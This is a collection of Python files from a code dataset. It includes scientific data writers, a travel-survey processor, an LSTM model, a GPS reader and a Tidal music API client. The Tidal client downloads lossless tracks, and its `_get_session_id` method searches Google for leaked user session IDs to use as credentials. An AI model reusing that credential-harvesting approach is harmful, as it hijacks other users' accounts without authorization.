S_I_e0_Herdern = [Summarise_vflows(experiment = \"S_I_e0_Herdern\"), \n# Summarise_resitimes(experiment = \"S_I_e0_Herdern\")\n# ]\n\n# W_H_e0_Herdern = [Summarise_vflows(experiment = \"W_H_e0_Herdern\"), \n# Summarise_resitimes(experiment = \"W_H_e0_Herdern\")\n# ]\n\n# S_H_e0_ESHL = [Summarise_vflows(experiment = \"S_H_e0_ESHL\"), \n# Summarise_resitimes(experiment = \"S_H_e0_ESHL\")\n# ]\n# S_I_e0_ESHL = [Summarise_vflows(experiment = \"S_I_e0_ESHL\"), \n# Summarise_resitimes(experiment = \"S_I_e0_ESHL\")\n# ]\n\n# Fehlerhaft\n# W_H_e0_ESHL = [Summarise_vflows(experiment = \"W_H_e0_ESHL\"), \n# Summarise_resitimes(experiment = \"W_H_e0_ESHL\")\n# ]\n\n# Fehlerhaft\n# W_I_e0_ESHL = [Summarise_vflows(experiment = \"W_I_e0_ESHL\"), \n# Summarise_resitimes(experiment = \"W_I_e0_ESHL\")\n# ]\n\n\n\n# dvdt1 = Summarise_vflows(experiment = \"W_I_e0_Herdern\")\n\n# resitime1 = Summarise_resitimes(experiment = \"W_I_e0_Herdern\")\n\n# restime = residence_Vflow_weighted(vflow = pd.DataFrame([[30, 60], [5, 10]], \n# columns=['vol flow', 'std vol flow'], \n# dtype=('float64')), \n# resitime = pd.DataFrame([[64, 45], [5, 10]],\n# columns=['rtime', 'std rtime'], \n# dtype=('float64'))\n# )\n\n# a1 = residence_time_sup_exh(experiment='S_H_e0_Herdern',aperture_sensor = \"2l\", periodtime=120,\n# experimentname=True, plot=True,\n# export_sublist=False, method='simpson',\n# filter_maxTrel=0.25, logging=False)\n# a2 = residence_time_sup_exh(experiment='W_I_e0_Herdern',aperture_sensor = \"2l\", periodtime=120,\n# experimentname=True, plot=True,\n# export_sublist=False, method='simpson',\n# filter_maxTrel=0.25, logging=False)\n# a3 = residence_time_sup_exh(experimentno=16, deviceno=2, periodtime=120, \n# experimentname=True, plot=True, \n# export_sublist=False, method='simpson',\n# filter_maxTrel=0.25, logging=False)\n\n","sub_path":"Recirculation.py","file_name":"Recirculation.py","file_ext":"py","file_size_in_byte":123841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"233217704","text":"import matplotlib\n\nmatplotlib.use('Agg')\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n\nclass Net2(nn.Module):\n def __init__(self, input_size, hidden_size, num_layers, num_classes):\n super(Net2, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n self.lstm = nn.LSTM(input_size, hidden_size, num_layers, batch_first=True, bidirectional=True)\n self.dropout = nn.Dropout(0.2)\n\n self.fc = nn.Sequential(nn.Linear(hidden_size * 2, 120), nn.Dropout(0.1))\n self.dense1_bn = nn.BatchNorm1d(120)\n self.fc1 = nn.Linear(120, 84)\n self.dense2_bn = nn.BatchNorm1d(84)\n self.fc2 = nn.Linear(84, num_classes)\n self.relu = nn.ReLU()\n\n def forward(self, x):\n # Set initial states\n h0 = torch.zeros(self.num_layers * 2, x.size(0), self.hidden_size).to(device)\n c0 = torch.zeros(self.num_layers * 2, x.size(0), self.hidden_size).to(device)\n\n # Forward propagate LSTM\n out, _ = self.lstm(x, (h0, c0)) # out: tensor of shape (batch_size, seq_length, hidden_size*2)\n\n # Decode the hidden state of the last time step\n out = self.dense1_bn(self.fc(out[:, -1, :]))\n\n x = F.relu(self.dense2_bn(self.fc1(out)))\n\n x = (self.fc2(x))\n return x\n","sub_path":"model_class.py","file_name":"model_class.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"312828405","text":"#!/usr/bin/env python3\n\nimport pynmea2\nimport serial\n\ndef GetGeoFix(port,rate):\n gps_fix = {}\n try:\n serial_instance = serial.Serial()\n serial_instance.baudrate = rate\n serial_instance.port = port\n serial_instance.open()\n if(serial_instance.is_open):\n print(\"[*] Established serial connection\")\n fix_data = serial_instance.readline().decode('ascii',errors='replace')\n fix_data = fix_data.strip()\n if('GP' in fix_data):\n parsed_fix = pynmea2.parse(fix_data)\n latitude = parsed_fix.latitude\n latitude = round(latitude,2)\n longitude = parsed_fix.longitude\n longitude = round(longitude,2)\n lat_dir = parsed_fix.lat_dir\n lon_dir = parsed_fix.lon_dir\n altitude = parsed_fix.altitude\n alt_unit = parsed_fix.altitude_units\n quality = parsed_fix.gps_qual ; print(quality)\n #\n gps_fix['latitude'] = latitude\n gps_fix['longitude'] = longitude\n gps_fix['lat_direction'] = lat_dir\n gps_fix['lon_direction'] = lon_dir\n gps_fix['height'] = altitude\n gps_fix['height_unit'] = alt_unit\n gps_fix['quality'] = quality\n #\n return gps_fix\n #\n else:\n return 'None'\n serial_instance.close()\n except Exception as e:\n print(\"[!] Error: %s \" % e)\n return 'None'\n \n \n\ndef main():\n #\n port = 'COM4'\n #\n rate = 4800\n #\n while(True):\n var = GetGeoFix(port,rate)\n print(var)\n\nif(__name__ == '__main__'):\n main()\n","sub_path":"ReadSerialNMEA.py","file_name":"ReadSerialNMEA.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"540484790","text":"from rest_framework.serializers import ModelSerializer\nfrom rest_framework.serializers import SerializerMethodField\nfrom django.contrib.auth.models import Permission\n\n\nclass PermissionBaseSerializer(ModelSerializer):\n\n content_type = SerializerMethodField()\n\n class Meta:\n model = Permission\n fields = [\n 'id',\n 'content_type',\n 'codename',\n 'name'\n ]\n read_only_fields = ('id', 'content_type')\n\n def get_content_type(self, obj):\n return obj.content_type.app_label\n","sub_path":"api/apps/permission/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"62820791","text":"from __future__ import annotations\nfrom pathlib import Path\nimport typing as T\nimport sys\nimport logging\nimport json\n\nimport xarray\n\nfrom .utils import git_meta\nfrom .hdf5 import write as h5write\nfrom .nc4 import write as ncwrite\n\n\ndef state(out_file: Path, dat: xarray.Dataset, file_format: str = None, **kwargs):\n \"\"\"\n WRITE STATE VARIABLE DATA.\n NOTE: WE don't write ANY OF THE ELECTRODYNAMIC\n VARIABLES SINCE THEY ARE NOT NEEDED TO START THINGS\n UP IN THE FORTRAN CODE.\n\n INPUT ARRAYS SHOULD BE TRIMMED TO THE CORRECT SIZE\n I.E. THEY SHOULD NOT INCLUDE GHOST CELLS\n \"\"\"\n\n ext = file_format if file_format else out_file.suffix\n\n # %% allow overriding \"dat\"\n if \"time\" in kwargs:\n dat.attrs[\"time\"] = kwargs[\"time\"]\n\n for k in {\"ns\", \"vs1\", \"Ts\"}:\n if k in kwargs:\n dat[k] = ((\"species\", \"x1\", \"x2\", \"x3\"), kwargs[k])\n\n if \"Phitop\" in kwargs:\n dat[\"Phitop\"] = ((\"x2\", \"x3\"), kwargs[\"Phitop\"])\n\n # %% dispatch to format-specific writers\n if ext.endswith(\"h5\"):\n h5write.state(out_file.with_suffix(\".h5\"), dat)\n elif ext.endswith(\"nc\"):\n ncwrite.state(out_file.with_suffix(\".nc\"), dat)\n else:\n raise ValueError(f\"unknown file format {ext}\")\n\n\ndef data(out_file: Path, dat: xarray.Dataset, file_format: str, xg: dict[str, T.Any] = None):\n \"\"\"\n used by scripts/convert_data.py\n \"\"\"\n\n if file_format.endswith(\"h5\"):\n h5write.data(out_file, dat)\n elif file_format.endswith(\"nc\"):\n assert isinstance(xg, dict)\n ncwrite.data(out_file, dat, xg)\n else:\n raise ValueError(f\"Unknown file format {file_format}\")\n\n\ndef grid(cfg: dict[str, T.Any], xg: dict[str, T.Any], *, file_format: str = \"\"):\n \"\"\"writes grid to disk\n\n Parameters\n ----------\n\n cfg: dict\n simulation parameters\n xg: dict\n grid values\n\n NOTE: we use .with_suffix() in case file_format was overridden by user\n that allows writing NetCDF4 and HDF5 by scripts using same input files\n \"\"\"\n\n input_dir = cfg[\"indat_size\"].parent\n if input_dir.is_file():\n raise OSError(f\"{input_dir} is a file instead of directory\")\n\n input_dir.mkdir(parents=True, exist_ok=True)\n\n if not file_format:\n file_format = cfg.get(\"file_format\", cfg[\"indat_size\"].suffix)\n\n if file_format.endswith(\"h5\"):\n h5write.grid(cfg[\"indat_size\"].with_suffix(\".h5\"), cfg[\"indat_grid\"].with_suffix(\".h5\"), xg)\n elif file_format.endswith(\"nc\"):\n ncwrite.grid(cfg[\"indat_size\"].with_suffix(\".nc\"), cfg[\"indat_grid\"].with_suffix(\".nc\"), xg)\n else:\n raise ValueError(f'unknown file format {cfg[\"file_format\"]}')\n\n meta(input_dir / \"setup_grid.json\", git_meta(), cfg)\n\n\ndef Efield(E: xarray.Dataset, outdir: Path, file_format: str):\n \"\"\"writes E-field to disk\n\n Parameters\n ----------\n\n E: dict\n E-field values\n outdir: pathlib.Path\n directory to write files into\n file_format: str\n requested file format to write\n \"\"\"\n\n print(\"write E-field data to\", outdir)\n outdir.mkdir(parents=True, exist_ok=True)\n\n if file_format.endswith(\"h5\"):\n h5write.Efield(outdir, E)\n elif file_format.endswith(\"nc\"):\n ncwrite.Efield(outdir, E)\n else:\n raise ValueError(f\"unknown file format {file_format}\")\n\n\ndef precip(precip: xarray.Dataset, outdir: Path, file_format: str):\n \"\"\"writes precipitation to disk\n\n Parameters\n ----------\n precip: dict\n preicipitation values\n outdir: pathlib.Path\n directory to write files into\n file_format: str\n requested file format to write\n \"\"\"\n\n print(\"write precipitation data to\", outdir)\n outdir.mkdir(parents=True, exist_ok=True)\n\n if file_format.endswith(\"h5\"):\n h5write.precip(outdir, precip)\n elif file_format.endswith(\"nc\"):\n ncwrite.precip(outdir, precip)\n else:\n raise ValueError(f\"unknown file format {file_format}\")\n\n\ndef meta(fn: Path, git_meta: dict[str, str], cfg: dict[str, T.Any]):\n \"\"\"\n writes JSON file with sim setup metadata\n \"\"\"\n\n fn = fn.expanduser()\n if fn.is_dir():\n raise FileNotFoundError(f\"{fn} is a directory, but I need a JSON file name to write.\")\n\n jm = {\"python\": {\"platform\": sys.platform, \"version\": sys.version}, \"git\": git_meta}\n\n if \"eq_dir\" in cfg:\n # JSON does not allow unescaped backslash\n jm[\"equilibrium\"] = {\"eq_dir\": cfg[\"eq_dir\"].as_posix()}\n hf = cfg[\"eq_dir\"] / \"sha256sum.txt\"\n if hf.is_file():\n jm[\"equilibrium\"][\"sha256\"] = hf.read_text().strip()\n\n js = json.dumps(jm, sort_keys=True, indent=2)\n\n fn.write_text(js)\n\n\ndef maggrid(filename: Path, xmag: dict[str, T.Any]):\n\n filename = Path(filename).expanduser()\n\n # %% default value for gridsize\n if \"gridsize\" not in xmag:\n if xmag[\"r\"].ndim == 1:\n logging.warning(\"Defaulting gridsize to flat list\")\n gridsize = (xmag[\"r\"].size, -1, -1)\n else:\n gridsize = xmag[\"r\"].shape\n else:\n gridsize = xmag[\"gridsize\"]\n\n # %% write the file\n if not filename.parent.is_dir():\n raise FileNotFoundError(f\"{filename.parent} parent directory does not exist\")\n\n if filename.suffix.endswith(\"h5\"):\n h5write.maggrid(filename, xmag, gridsize)\n else:\n raise ValueError(f\"{filename.suffix} not handled yet. Please open GitHub issue.\")\n","sub_path":"src/gemini3d/write.py","file_name":"write.py","file_ext":"py","file_size_in_byte":5419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"519479159","text":"##############################################################################3##############\n# Survey Processing Application (SPA) for Oregon DOT\n# By Parsons Brinckerhoff\n# Sep 6, 2014\n#--------------------------------------------------------------------------------------------\n# Copyright 2014 Parsons Brinckerhoff\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#--------------------------------------------------------------------------------------------\n# The Survey Processing Application (SPA) is developed to clean and process \n# the Oregon Household Activity Survey (OHAS) data for calibrating ODOT's CT-RAMP. \n# The SPA is written in the Python programming language based on the object-\n# oriented paradigm. It takes as input the place, person, and household files.\n# It produces six output data tables, plus an additional table for error investigation \n# purposes. It also creates a log file of unresolved data errors and a separate log of \n# all data edits made by the SPA: \n# Households.csv: Each row contains selected attributes of an observed household. \n# Persons.csv: Each row contains selected attributes of an observed person. \n# Tours.csv: Each row contains attributes derived for an observed person tour. \n# Trips.csv: Each row contains attributes derived for an observed person trip. \n# Unique_joint_tours.csv: Each row contains attributes describing a fully joint tour made by multiple household members. \n# Unique_joint_trips.csv: Each row contains attributes describing a joint trip (unlinked) made by multiple household members. \n# Joint_ultrips.csv: Optional output used for analyzing data errors relating to joint travel episodes. \n# Each row contains selected attributes of an unlinked person trip that is part of a joint trip. \n# Error_log.txt Any Text file containing error and warning messages about unresolved data anomalies. \n# Recode_log.txt Any Text file describing assumptions and recoding made to resolve known data anomalies and inconsistencies. \n#\n##############################################################################3##############\n\nimport numpy as np\nimport pandas as pd\nfrom datetime import timedelta\nfrom collections import defaultdict\n\n################## definitions defined for the application ##########################################\n\nfrom SPA_common import *\nfrom SPA_proj_const import * \n\n################## Constants ##########################################\ndef add_place_distance(route_file, place_file, out_file):\n # read in ROUTE records into a data frame object \n df_route = pd.read_csv(IN_DIR+route_file, quotechar='\"', encoding='ISO-8859-1')\n # read in PLACE records into a data frame object, df_place \n df_place = pd.read_csv(IN_DIR+place_file, quotechar='\"', encoding='ISO-8859-1')\n \n df_route = df_route.rename(columns={'DPLANO': 'PLANO'}) \n route_grouped = df_route.groupby(['SAMPN','PERNO','OPLANO','PLANO']).sum().reset_index()\n df_place = pd.merge(df_place, route_grouped[['SAMPN','PERNO','PLANO','Distance']], how='left', on=['SAMPN','PERNO','PLANO'])\n \n #write out to a new place file\n df_place.to_csv(IN_DIR+out_file)\n\n \n################## main program starts here ###########################################\nif __name__ == \"__main__\":\n\n add_place_distance('route.csv', 'place.csv', 'placeWithDist.csv' )\n \n \n # read in PLACE records into a data frame object, df_place \n #df_place = pd.read_csv('C:/Users/guojy/Documents/SAG/Oregon/OHAS/R3 data/Region3.place.csv', quotechar='\"', encoding='ISO-8859-1')\n df_place = pd.read_csv(IN_DIR+'placeWithDist.csv', quotechar='\"', encoding='ISO-8859-1')\n\n # read in PERSON records into a data frame object, df_per\n #df_per = pd.read_csv('C:/Users/guojy/Documents/SAG/Oregon/OHAS/R3 data/Region3.per.csv', quotechar='\"', encoding='ISO-8859-1')\n df_per = pd.read_csv(IN_DIR+'per.csv', quotechar='\"', encoding='ISO-8859-1') \n \n # read in HOUSEHOLD records into a data frame object, df_hh\n df_hh = pd.read_csv(IN_DIR+'hh.csv', quotechar='\"', encoding='ISO-8859-1') \n \n \n hh_list = [] \n #loop through and process the PLACE data frame group for each household\n #create the household, person, tour, and trip objects \n for (hhid), df_persons in df_place.groupby(['SAMPN']):\n \n #locate the corresponding hh in HOUSEHOLD table\n df_cur_hh = df_hh[(df_hh['SAMPN']==hhid)]\n \n #create a new household object\n hh = Household(hhid, df_cur_hh['AREA'].iloc[0])\n hh_list.append(hh) \n \n #loop through each person\n for (hhid, pid), df_psn_places in df_persons.groupby(['SAMPN','PERNO']):\n \n #locate the corresponding person in PERSON table\n df_cur_per = df_per[(df_per['SAMPN']==hhid) & (df_per['PERNO']==pid)]\n \n #create a new person object\n psn = Person(hh, pid, df_cur_per, df_psn_places)\n\n num_places_for_person = len(df_psn_places) \n print(\"No. of place entries for person \"+str(pid)+\" of household \"+str(hhid)+\": \"+str(num_places_for_person))\n\n #first make sure that the place entries are ordered by place number since they will be processed sequentially later\n df_psn_places = df_psn_places.sort_index(by='PLANO')\n\n #recode TPURP from \"work\" or \"other activities at work\" to \"work-related\" if the PLACE is not the primary place of work\n (wxcord, wycord) = (df_cur_per['WXCORD'].iloc[0], df_cur_per['WYCORD'].iloc[0])\n if not (pd.isnull(wxcord) | pd.isnull(wycord)):\n #both X and Y coordinates for work location are found\n for row_index, row in df_psn_places.iterrows():\n #check place coordinates against work coordinates if TPURP is work or other activities at work\n if row['TPURP'] in SurveyWorkPurp: \n xcord = row['XCORD']\n ycord = row['YCORD']\n if (not xcord==wxcord) | (not ycord==wycord):\n #not the place of work -> recode TPURP to work-related\n df_psn_places['TPURP'][row_index] = SurveyWorkRelatedPurp\n psn.log_recode(\"work activity reported for PLANO={}, which is not the primary work location; recode activity as work-related\".format(row['PLANO']))\n \n #scan through place records and find consecutive records that correspond to the same linked trip\n count_trips_on_tour = 0 \n count_places_on_trip = 0 \n cur_row = 0\n max_row = num_places_for_person-1 #row index starts with 0 (not 1) and only need to scan up to the 2nd last row \n cur_tour_start_row = 0 #points to the origin (HOME) of the current tour \n cur_trip_start_row = 0 #points to the origin of the current trip\n new_tour = True #initialize to true so that a new tour object will be created upon entering the while loop \n new_trip = True\n cur_tourid = 0 #tour no. gets incremented whenever a new tour is encountered \n cur_tripid = 0 #trip no. is incremented whenever a new trip is encountered\n \n while (cur_row < max_row):\n \n if new_tour : \n #current PLACE marks the start of a new tour\n #create a new tour object for the person \n cur_tourid = cur_tourid + 1\n tour = Tour(hh, psn, cur_tourid)\n psn.add_tour(tour)\n cur_tripid = 0 \n \n new_tour = (df_psn_places['TPURP'].iloc[cur_row+1] in OhasHomeCode) #true if next PLACE marks the start of a different tour \n #TPURP codes 1,2 mean 'home'\n new_trip = (df_psn_places['TPURP'].iloc[cur_row+1]!=OhasChangeModeCode) | ((df_psn_places['TPURP'].iloc[cur_row+1]==OhasChangeModeCode) & (cur_row+1==max_row)) \n #true if next PLACE marks the start of a different trip, or if next PLACE is change mode and last stop of the day\n #TPURP codes 7 means 'change mode'\n \n if (new_tour|new_trip): \n #found last place before the destination of the current trip \n #create a new trip object to represent the current linked trip \n cur_tripid = cur_tripid +1\n trip = Trip(hh, psn, tour, cur_tripid)\n \n #process current linked trip, which is described by rows starting at cur_trip_start_row and ending at cur_row+1\n is_joint = trip.populate_attributes(df_psn_places[cur_trip_start_row:(cur_row+2)]) \n \n #add trip to the current tour object\n tour.add_trip(trip)\n \n #add joint trip to the current household object to be processed later\n if is_joint:\n hh.add_joint_episodes(trip.get_joint_descriptions())\n \n #reset counter/pointer for the next trip\n count_places_on_trip = 0\n cur_trip_start_row = cur_row+1\n\n #update row pointer \n cur_row = cur_row+1\n \n\n if num_places_for_person<=1: #each traveling person would have more than 1 PLACE entry\n psn.log_warning(\"Did not travel\")\n\n #end - processing PLACE records for the person\n \n #check if the first and last tours are partial tours \n num_HB_tours = len(psn.tours)\n for i, tour in enumerate(psn.tours):\n _partial_code = NewPartialTour['NOT_PARTIAL']\n if i==0: #1st tour of the day - check orig of first trip\n if not tour.trips[0].is_orig_home(): \n _partial_code = NewPartialTour['PARTIAL_START']\n psn.log_warning(\"Was not at home at the beginning of day\")\n \n #note: need to use 'if' as opposed to 'elif' below because 'elif' would miss cases where a person can have only 1 tour that is PARTIAL_END \n if i==(num_HB_tours-1): #last tour of the day - check dest of last trip\n if not tour.trips[-1].is_dest_home():\n _partial_code = NewPartialTour['PARTIAL_END']\n psn.log_warning(\"Did not return home at the end of day\")\n tour.set_partial(_partial_code)\n \n \n #at this point, all items in the person's tours list are home-based tours\n #most tour-level fields have not yet been derived \n for tour in psn.tours:\n #derive tour-level attributes based on trip objects\n #work-based subtours are generated and added to the end of the tours list during the process\n tour.populate_attributes()\n\n\n #joint trips are processed after all tour/person level fields have been processed and inconsistencies identified \n\n hh.process_joint_episodes() \n hh.process_escort_trips()\n \n #identify joint tour after joint and escort trips have been identified\n hh.process_joint_tours()\n hh.process_escort_tours() #derive tour-level escort-related fields from trip-level escort-related fields\n \n #propagate person-level attributes to tour-level, tour-level attributes to trip-level\n for psn in hh.persons:\n for tour in psn.tours:\n tour.set_per_type(psn.get_per_type())\n for trip in tour.trips:\n trip.set_tour_attributes() \n trip.set_per_type(psn.get_per_type())\n\n #print_in_separate_files(hh_list, OUT_DIR)\n print_in_same_files(hh_list, OUT_DIR)\n \n\n","sub_path":"src/OHAS/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":12868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"216495236","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/env python\nimport json\nimport os\nimport re\n\ntry:\n # Python 2\n import urllib2 as request\n from urllib import urlencode\nexcept ModuleNotFoundError as ex:\n # Python 3\n import urllib.request as request\n from urllib.parse import urlencode\n\n#from ffmpeg import FFMPEG\ntry:\n from mutagen.mp4 import MP4, MP4Cover\n from mutagen import MutagenError\nexcept ImportError as ex:\n # not in virtual env\n print('no mutagen. Activate virtualenv')\n\ntry:\n from lib.utilities import load_config\n from lib.google import Google\nexcept ImportError:\n from utilities import load_config\n from google import Google\n\nclass TidalError(Exception):\n \"\"\"base Tidal Error class\"\"\"\n pass\n\nclass Tidal(object):\n def __init__(self, token=None, session_id=None):\n self.BASE_URL = \"https://api.tidalhifi.com/v1/\"\n self.TOKEN = token\n self.SESSION_ID = session_id\n\n def get(self, endpoint, **params):\n #if endpoint.lower() == \"search\":\n if not self.TOKEN:\n params[\"sessionid\"] = self.SESSION_ID\n else:\n params[\"token\"] = self.TOKEN\n\n #it appears you can do many things without a session id\n #if \"streamurl\" in endpoint.lower():\n if \"sessionid\" not in params.keys() and self.SESSION_ID:\n params[\"sessionid\"] = self.SESSION_ID\n\n #if \"token\" not in params.keys():\n # params[\"token\"] = self.TOKEN\n\n if \"countryCode\" not in params.keys():\n params[\"countryCode\"] = \"US\"\n\n qs = urlencode(params)\n url = \"%s%s?%s\" % (self.BASE_URL, endpoint, qs)\n req = request.Request(url)\n etag = None\n try:\n response = request.urlopen(req)\n try:\n etag = response.info()['ETag']\n except KeyError:\n pass\n except request.HTTPError as ex:\n response = ex\n return_value = json.load(response)\n\n if etag:\n return_value['etag'] = etag\n return return_value\n\n def post(self, endpoint, data, **params):\n headers = {}\n if 'headers' in params:\n headers = params['headers']\n del params['headers']\n\n if \"token\" not in data:\n data[\"token\"] = self.TOKEN\n\n if 'login' not in endpoint:\n if 'sessionid' not in params:\n params[\"sessionid\"] = self.SESSION_ID\n\n qs = urlencode(params)\n url = \"%s%s?%s\" % (self.BASE_URL, endpoint, qs)\n r = request.Request(url, headers=headers)\n r.add_data(urlencode(data))\n try:\n response = request.urlopen(r)\n except request.HTTPError as ex:\n #print \"Tidal post error\", str(e), url\n response = ex\n \n response_string = response.read()\n if len(response_string) == 0:\n return {}\n else:\n return json.loads(response_string)\n\n def login(self, username, password):\n data = {\n \"username\": username,\n \"password\": password,\n \"clientVersion\": \"2.1.0--28\",\n }\n response = self.post(\"login/username\", data, countryCode='CA')\n try:\n self.SESSION_ID = response[\"sessionId\"]\n except KeyError:\n self.SESSION_ID = None\n return response\n\n def get_album_image_url(self, album, width=1024, height=1024):\n # The below format only works for 640x640 for albums, \n # and 640x428.jpg for playlists (using playlist['image'])\n #url = \"http://resources.wimpmusic.com/images/%s/640x640.jpg\" % album[\"cover\"].replace(\"-\", \"/\")\n\n #This format works for multiple sizes\n url = \"http://images.osl.wimpmusic.com/im/im?w=%s&h=%s&albumid=%s\" % (width, height, album[\"id\"])\n return url\n\n def download_album(self, album_id):\n #check to see if it's encryped\n endpoint = \"albums/%s/tracks\" % album_id\n tracks = self.get(endpoint, countryCode='CA')\n\n endpoint = \"tracks/%s/streamurl\" % tracks[\"items\"][0][\"id\"]\n track = self.get(endpoint, countryCode='US', soundQuality='LOSSLESS')\n try:\n if \".bin\" in track[\"url\"]:\n #print \"Error: Album is encrypted\"\n return False\n except KeyError:\n #print \"Download album KeyError. no track['url']\"\n #print track\n return False\n #We're good, it's not encrypted\n endpoint = \"albums/%s\" % album_id\n album = self.get(endpoint)\n image_url = self.get_album_image_url(album)\n folder_name = u\"audio/%s — %s\" % (album[\"artist\"][\"name\"], album[\"title\"]) \n\n folder_success = self.create_folder(folder_name)\n\n if not folder_success:\n #print \"Folder already exists\"\n return False\n\n endpoint = \"albums/%s/tracks\" % album_id\n tracks = self.get(endpoint, countryCode='CA')\n\n for item in tracks[\"items\"]:\n self.download_track(item[\"id\"], folder_name)\n\n @staticmethod\n def get_filename(track, extension):\n try:\n track_number = track[\"trackNumber\"]\n except KeyError:\n print ('KeyError: cannot get trackNumber from track')\n print (json.dumps(track, indent=2))\n raise\n\n if track_number < 10:\n track_number = \"0\" + str(track_number)\n else:\n track_number = str(track_number)\n\n try:\n artist_name = track['artist']['name']\n except KeyError:\n artist_name = track['artists'][0]['name']\n\n if track[\"version\"] and track[\"version\"] not in track[\"title\"]:\n filename = u\"%s. %s — %s (%s).%s\" % (track_number, artist_name, track[\"title\"], track[\"version\"], extension)\n else:\n filename = u\"%s. %s — %s.%s\" % (track_number, artist_name, track[\"title\"], extension)\n #replace slashes with underscores:\n if \"/\" in filename:\n filename = filename.replace(\"/\", \"_\")\n #print filename.encode(\"utf-8\")\n return filename\n\n def download_track(self, track_id, folder_name='audio/temp', sound_quality='LOSSLESS', m4a_tags={}):\n '''\n soundQuality = \"HI_RES\" for master quality\n soundQuality = \"LOSSLESS\" for hi-fi quality\n soundQuality = \"HIGH\" for high\n '''\n stream = self.get(\"tracks/%s/streamurl\" % track_id, soundQuality=sound_quality, countryCode='CA')\n\n if folder_name [:6] != \"audio/\":\n #print \"IF\"\n folder_name = \"audio/%s\" % folder_name\n #print folder_name\n try:\n if \".bin\" in stream[\"url\"]:\n print (\"Error: Track is encrypted\")\n return {'result': 'failure'}\n except KeyError as ex:\n print(stream)\n print(track_id)\n return {\"result\": \"failure\"}\n\n if stream[\"codec\"] in (\"ALAC\", 'AAC'):\n extension = \"m4a\"\n else:\n extension = \"flac\"\n track = self.get(\"tracks/%s\" % track_id, countryCode=\"CA\")\n \n filename = self.get_filename(track, extension)\n\n self.create_folder(folder_name)\n filepath = \"%s/%s\" % (folder_name, filename)\n if not os.path.exists(filepath): \n print (\"Saving {}\".format(filename.encode(\"utf-8\"))) \n audio = request.urlopen(stream[\"url\"])\n CHUNK_SIZE = 8192\n chunk = audio.read(CHUNK_SIZE)\n with open(filepath, \"wb\") as f:\n while chunk:\n f.write(chunk)\n chunk = audio.read(CHUNK_SIZE)\n\n # Add metadata to the file\n # http://macscripter.net/viewtopic.php?pid=174126\n\n #print(json.dumps(track, indent=2))\n\n self.tag_file(filepath, track, m4a_tags=m4a_tags)\n return {\n \"result\": \"success\",\n \"filepath\": filepath,\n \"folder_name\": folder_name,\n \"filename\": filename,\n \"track_length\": track['duration'],\n }\n\n def tag_file(self, filepath, track, m4a_tags={}):\n \"\"\"\n Adds metadata tags to a file\n \"\"\"\n image_url = self.get_album_image_url(track['album'])\n \n if filepath.endswith('.m4a'):\n print('adding tags...')\n try:\n file_obj = MP4(filename=filepath)\n except MutagenError as ex:\n print(ex)\n return False\n file_obj[\"\\xa9nam\"] = track['title']\n file_obj[\"\\xa9ART\"] = track['artist']['name']\n file_obj[\"\\xa9alb\"] = track['album']['title']\n if track['copyright']:\n file_obj['cprt'] = track['copyright']\n for tag in m4a_tags:\n if not isinstance(m4a_tags[tag], list):\n m4a_tags[tag] = [m4a_tags[tag]]\n file_obj[tag] = m4a_tags[tag]\n\n image_url = self.get_album_image_url(track['album'])\n try:\n response = request.urlopen(image_url)\n cover = MP4Cover(response.read(), getattr(MP4Cover, 'FORMAT_JPEG'))\n response.close()\n file_obj['covr'] = [cover]\n except request.HTTPError as ex:\n print(ex)\n print(image_url)\n\n file_obj.save()\n print('tags added.')\n\n def create_playlist(self, user_id, title, description=\"\"):\n endpoint = \"users/{}/playlists\".format(user_id)\n\n data = {\n 'title': title,\n 'description': description,\n }\n\n return self.post(endpoint, data)\n\n def add_track_to_playlist(self, playlist_id, track_id, to_index):\n playlist = self.get('playlists/{}'.format(playlist_id))\n \n headers = {\n 'If-None-Match': playlist['etag'],\n }\n \n data = {\n 'trackIds': track_id,\n 'toIndex': to_index,\n }\n\n endpoint = 'playlists/{}/items'.format(playlist_id)\n return self.post(endpoint, data, headers=headers)\n\n def get_user_playlists(self, user_id):\n endpoint = 'users/{}/playlists'.format(user_id)\n return self.get(endpoint, limit=9999)\n\n def download_playlist(self, uuid):\n endpoint = \"playlists/%s\" % uuid\n playlist = self.get(endpoint)\n #print json.dumps(playlist, indent = 4)\n \n folder_name = \"audio/\" + playlist[\"title\"]\n folder = self.create_folder(folder_name)\n endpoint = \"playlists/%s/tracks\" % uuid\n tracks = self.get(endpoint, limit=800)\n #print json.dumps(tracks, indent=4)\n\n for item in tracks[\"items\"]:\n #if item[\"type\"] == \"track\":\n #print(json.dumps(item, indent=2))\n response = self.download_track(item[\"id\"], folder_name, sound_quality='HIGH')\n if response:\n if response['result'] == 'failure':\n print(json.dumps(item, indent=2))\n print('could not download track')\n \n def _get_session_id(self):\n \"\"\"Uses Google to attempt to find a valid session id\"\"\"\n config = load_config()\n key, cx = config['google']['api_key'], config['google']['cx']\n google = Google(key, cx)\n start = 1\n \n while True:\n response = google.search(\n 'api.tidalhifi.com', \n fields='queries,items(snippet)', \n start=start\n )\n if 'items' not in response:\n raise TidalError('can\\'t find a valid session id')\n for item in response['items']:\n snippet = item['snippet'].lower()\n if 'sessionid' in snippet:\n pattern = 